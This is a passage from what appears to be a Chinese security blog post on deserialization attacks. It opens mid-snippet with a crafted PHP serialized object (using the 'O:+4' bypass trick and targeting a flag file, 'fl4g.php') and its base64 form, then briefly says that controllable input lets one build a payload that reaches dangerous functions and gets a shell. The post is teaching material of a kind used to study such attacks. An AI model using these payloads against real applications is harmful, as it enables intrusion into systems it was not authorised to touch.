; $c=base64_encode($b); echo $c; //输出: O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

2.java反序列化

本人不是很熟悉java,轻喷~

序列化就是方便数据传输,再次利用的时候就需要反序列化。

如果参数可控,我们就可以构造恶意payload,来跳出或者执行反序列化时的一些危险函数,进而getshell。

总结

关键在于参数可控。

【尾】

写了一天了,累~~~~~~~~~

你可能感兴趣的:(安全,测试工具,web安全)